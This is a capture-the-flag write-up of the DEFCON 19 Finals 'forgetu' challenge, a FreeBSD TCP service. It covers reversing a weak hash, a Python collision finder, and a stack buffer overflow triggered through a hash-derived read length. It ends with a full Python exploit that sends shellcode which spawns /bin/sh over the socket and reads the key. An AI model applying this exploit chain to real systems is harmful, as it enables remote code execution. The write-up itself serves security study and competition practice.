DEFCON 19 Final – forgetu

This challenge was on remote exploiting. The binary is for FreeBSD.

binary

Summary: bruteforce password, buffer overflow, jump to shellcode

The given program is a forking tcp server.  When connection is established it drops privileges to “forgetu” user and forks handler function (0x08048BC0):

signed int __cdecl main(int fd_2)
{
size_t v1; // edx@1
void *v2; // ecx@1
signed int read_bytes; // eax@1
unsigned int hash; // eax@2
size_t v6; // edx@8
void *v7; // ecx@8
signed int read_bytes_; // eax@8
unsigned __int8 hash3; // ST18_1@9
size_t v10; // edx@9
void *v11; // ecx@9
char data[128]; // [sp+1Ch] [bp-8Ch]@1
int tmp; // [sp+9Ch] [bp-Ch]@2

SentDataToSocet(fd_2, "Enter your data: ", 0);
read_bytes = RecvDataFromSocket(v2, v1, fd_2, (size_t)data, 0x7Fu, '\n');
if ( read_bytes <= 0 )
	return -1;
data[read_bytes] = 0;
tmp = read_bytes;
hash = make_hash((unsigned __int8 *)data);
if ( hash == 0xB33007D3 )
{
	CheckJury(fd_2, 0);
	return 0;
}
if ( hash != 0xFC1BE02A )
{
	SentDataToSocet(fd_2, "Better luck next time\n", 0);
	return 0;
}
SentDataToSocet(fd_2, "Stage 2: ", 0);
read_bytes_ = RecvDataFromSocket(v7, v6, fd_2, (size_t)data, 127, '\n');
if ( read_bytes_ <= 0 )
	return -1;
data[read_bytes_] = 0;
tmp = read_bytes_;
hash3 = make_hash((unsigned __int8 *)data);
SentDataToSocet(fd_2, "Stage 3: ", 0);
RecvDataFromSocket(v11, v10, fd_2, (size_t)data, hash3, '\n');
return 0;
}

Ok, we see that it calculates hash function (make_hash) from input data and compare it with a hardcoded dword. There are two dwords. First is 0xB33007D3 and it is used to check service accessibility by jury. Second one (0xFC1BE02A) is needed to continue program executing.

So, the first challenge is to find collision in hash algorithm.
Hash function is:

.text:08048B90 ; int make_hash<eax>(unsigned __int8 *data<eax>)
.text:08048B90 make_hash       proc near   ; CODE XREF: main+59p
.text:08048B90                           ; main+106p
.text:08048B90                 push    ebp
.text:08048B91                 mov     ebp, esp
.text:08048B93                 push    ebx
.text:08048B94                 movzx   edx, byte ptr [eax]
.text:08048B97                 mov     ebx, 1505h
.text:08048B9C                 test    dl, dl
.text:08048B9E                 jz      short loc_8048BB9
.text:08048BA0                 mov     ecx, eax
.text:08048BA2
.text:08048BA2 loc_8048BA2:                  ; CODE XREF: make_hash+27
.text:08048BA2                 mov     eax, ebx
.text:08048BA4                 movzx   edx, dl
.text:08048BA7                 shl     eax, 5
.text:08048BAA                 add     eax, edx
.text:08048BAC                 movzx   edx, byte ptr [ecx+1]
.text:08048BB0                 add     ecx, 1
.text:08048BB3                 add     ebx, eax
.text:08048BB5                 test    dl, dl
.text:08048BB7                 jnz     short loc_8048BA2
.text:08048BB9
.text:08048BB9 loc_8048BB9:                 ; CODE XREF: make_hash+E
.text:08048BB9                 mov     eax, ebx
.text:08048BBB                 pop     ebx
.text:08048BBC                 pop     ebp
.text:08048BBD                 retn
.text:08048BBD make_hash       endp

Or in python:

def make_hash(data, debug=0):
	hash = 0x1505
	for c in data:
		hash += (ord(c) + (hash << 5))
		hash &= 0xffffffff
	return hash

Easiest isn’t it xD
So, function which find collision is (thanks hellman for help!):

def collision(hash, l=6):
	lst = []
	for a in xrange(0x655):
		h1 = hash + (a << 32)
		lst.append((h1, ""))
	i = 0
	while True:
		if not lst:
			raise Exception("FAIL to find collision")
		lst2 = []
		for h1, s in lst:
			if len(s) == l - 1:
				br = range(8)
			else:
				br = [2]
			for b in br:
				c = (h1 % 33) + b * 33
				if c == 0 or c > 0xff:
					continue
				h2 = (h1 - c) // 33
				if h2 < 0x1505:
					continue
				test = chr(c) + s
				lst2.append((h2, chr(c) + s))
				if h2 == 0x1505 and 
					make_hash(test) == hash:
					return test
			lst = lst2
			i += 1
	return

Ok, it’s done, the needed string is b‘\x66\x57\x47\x52\x58\x57\x0A’

Next interesting place is last RecvDataFromSocket call.

Fifth parameter of this function is max input data size. And in last call it is equal hash from second receive string. RecvDataFromSocket copies data from socket to stack buffer which size is 128 bytes. We need find string with hash bigger than 128 bytes and it would be buffer overflow. Jackpot!

It’s easy to find that after RecvDataFromSocket function epilog will be executed:

.text:08048C4C exit: ; CODE XREF: main+14Aj
.text:08048C4C                 add     esp, 0A0h
.text:08048C52                 pop     ebx
.text:08048C53                 pop     esi
.text:08048C54                 pop     ebp
.text:08048C55                 retn

We can rewrite not only ret address but also these registry: ebx, esi, ebp
After we can ret to “call reg” instruction if there is shellcode address in registry.

Exploit look like:

if __name__ == "__main__":
	payload = open('payload_new','r').read()
	esi = b'\xc0\x8b\x04\x08'
	ret = b'\xf4\xdb\x04\x08'
	ebp = b'\xEB\xEB\xEB\xEB'
	esi= b'\xbc\xeb\xbf\xbf'
	buf = b'\x66\x57\x47\x52\x58\x57\x0A'+\
	collision(0x94) + b'\x0A'+\
	payload + b'\x90'*(0x88-0x24) + esi+ ebp + ret
		+b'\x0a' + b' ' + b'\x0a' + b'cat key' + b'\x0a'
	ip = sys.argv[1]
	sock = create_connection((ip,3128))
	#time.sleep(10) # time for attach to process by debugger
	sock.send(buf)
	print sock.recv(1024)
	print sock.recv(1024)

The payload consist of two step:

  1. dup2 for stdin and stdout to socket
  2. execve(“/bin/sh”)

It is 0x24 bytes in my case =)

 

2 comments

    • guest on September 13, 2011 at 20:59
    • Reply

    Привет! Спасибо за writeup =)

    Скажите пожалуйста, участникам был выдан бинарный файл, или код на C?

  1. Был выдан только бинарный файл. Тот “С” код, что представлен – причесаный и разобраный результат работы декомпилера (для того чтобы не загромождать write up асмовым кодом). Ссылка на бинарник есть в начале write up’а, можете сами поковырять и во всем разобраться.

Leave a Reply

Your email address will not be published.